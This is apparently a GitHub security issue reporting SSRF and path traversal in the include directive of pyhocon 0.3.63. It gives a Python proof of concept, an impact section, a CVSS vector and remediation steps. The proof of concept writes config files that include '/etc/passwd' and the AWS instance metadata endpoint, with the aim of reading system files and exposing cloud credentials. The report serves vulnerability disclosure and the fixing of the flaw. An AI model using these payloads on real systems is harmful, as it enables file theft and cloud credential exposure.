Skip to content

Security: SSRF and path traversal in pyhocon include directive (v0.3.63) #350

Description

@gnsehfvlr

Security Vulnerability: SSRF and Path Traversal in pyhocon

Summary

pyhocon version 0.3.63 contains an SSRF and path traversal vulnerability in its configuration file parser. The include directive processing performs no validation on URLs or file paths, allowing an attacker who controls a parsed configuration file to trigger arbitrary HTTP requests or read files outside the intended directory.

Affected Package

Vulnerability Details

In config_parser.py, two distinct weaknesses combine to form this vulnerability:

  1. Path Traversal (line 292): The parser does not normalize or restrict include paths. An absolute path supplied in an include directive bypasses any intended relative-path restriction, allowing reads from arbitrary filesystem locations.

  2. SSRF via urlopen (line 130): When an include directive contains a URL, the parser calls urllib.request.urlopen(url) without any allowlist, blocklist, or scheme validation. An attacker can supply file://, http://, https://, or platform-specific schemes (e.g., gopher://) to reach internal network services or the local filesystem.

Because HOCON configuration files are routinely loaded from user-supplied or third-party sources (e.g., application config directories, downloaded configs), an attacker who can influence the content of a parsed .conf file can exploit these weaknesses.

Proof of Concept

# malicious.conf  (attacker-controlled configuration file)
# Path traversal example:
# include "/etc/passwd"
#
# SSRF example:
# include "http://169.254.169.254/latest/meta-data/"  # AWS IMDSv1

from pyhocon import ConfigFactory

# --- Path Traversal ---
traversal_conf = '''
include "/etc/passwd"
'''
# Write to a temp file and parse it
import tempfile, os
with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as f:
    f.write(traversal_conf)
    tmp_path = f.name

try:
    config = ConfigFactory.parse_file(tmp_path)
    print("Path traversal succeeded:", config)
except Exception as e:
    print("Path traversal attempt raised:", e)
finally:
    os.unlink(tmp_path)

# --- SSRF ---
ssrf_conf = 'include "http://169.254.169.254/latest/meta-data/"'
with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as f:
    f.write(ssrf_conf)
    tmp_path = f.name

try:
    config = ConfigFactory.parse_file(tmp_path)
    print("SSRF succeeded:", config)
except Exception as e:
    print("SSRF attempt raised:", e)
finally:
    os.unlink(tmp_path)

Impact

  • SSRF: An attacker can make the host running pyhocon issue arbitrary HTTP/HTTPS requests to internal services (cloud metadata endpoints, internal APIs, databases with HTTP interfaces). On AWS/GCP/Azure this can expose IAM credentials via the instance metadata service.
  • Path Traversal: An attacker can read arbitrary files accessible to the process (e.g., /etc/passwd, private keys, application secrets) by supplying an absolute path in an include directive.
  • Combined, these issues allow information disclosure, credential theft, and potential lateral movement within a cloud or internal network environment.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Remediation

  1. URL validation: Before calling urlopen, validate that the URL scheme is in an explicit allowlist (e.g., https only) and that the hostname is not a loopback, link-local, or private-range address.
  2. Path validation: Resolve include paths with os.path.realpath and confirm the resolved path is a subdirectory of an allowed base directory; reject absolute paths or paths that escape the base directory.
  3. Disable remote includes by default: Provide a configuration option (defaulting to disabled) that must be explicitly enabled to allow HTTP or absolute-path includes.
  4. Dependency advisory: Publish a new release (>= 0.3.64) that includes the above fixes and document the change in the changelog.

Disclosure Timeline

  • 2026-07-02: Discovered via DAST scan
  • 2026-07-02: Reported to maintainer

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions